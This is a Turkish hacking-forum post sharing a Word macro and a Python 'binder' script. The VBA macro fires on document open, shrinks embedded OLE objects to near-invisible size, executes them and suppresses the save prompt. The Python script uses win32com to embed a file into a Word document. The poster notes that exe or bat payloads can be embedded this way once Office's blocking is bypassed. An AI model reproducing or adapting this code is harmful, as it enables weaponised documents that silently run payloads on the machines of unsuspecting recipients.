word macro

xanaxEnjoyer

Silver Üye
Katılım
1 Ağu 2020
Mesajlar
99
Beğeniler
19
makroyu biraz kurcalayıp exe,bat.. gömebilirsiniz ama office engellediğinden bypass atmanız gerek
vid:

makro
Kod:
Sub OpenEmbeddedTXT()
    Dim oleObj As Object
    
    ' OLE nesnelerini aç
    For Each oleObj In ActiveDocument.InlineShapes
        If oleObj.Type = 1 Then ' OLE nesnesi
            oleObj.Width = 0.1
            oleObj.Height = 0.1
            oleObj.OLEFormat.DoVerb ' Nesneyi aç
            ' OLE nesnesini açtıktan sonra, kaydetme istemini önlemek için
            ActiveDocument.Saved = True
        End If
    Next oleObj
End Sub

Private Sub Document_Open()
    OpenEmbeddedTXT
End Sub


docx txt binder
Kod:
import win32com.client
from tkinter import Tk
from tkinter.filedialog import askopenfilename


root = Tk()
root.withdraw()

txtpath = askopenfilename(title="Select TEXT File", filetypes=[("TEXT", "*.txt")])
if not txtpath:
    print("No TXT file selected. Exiting.")
    exit()


wordpath = askopenfilename(title="Select Word File", filetypes=[("DOCX", "*.docx")])
if not wordpath:
    print("No Word file selected. Exiting.")
    exit()

word = win32com.client.Dispatch("Word.Application")
word.Visible = False

doc = word.Documents.Add()


doc.InlineShapes.AddOLEObject(ClassType="TextFile", FileName=txtpath, DisplayAsIcon=True)


doc.SaveAs(wordpath)

doc.Close()
word.Quit()

print("bind(1)")
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt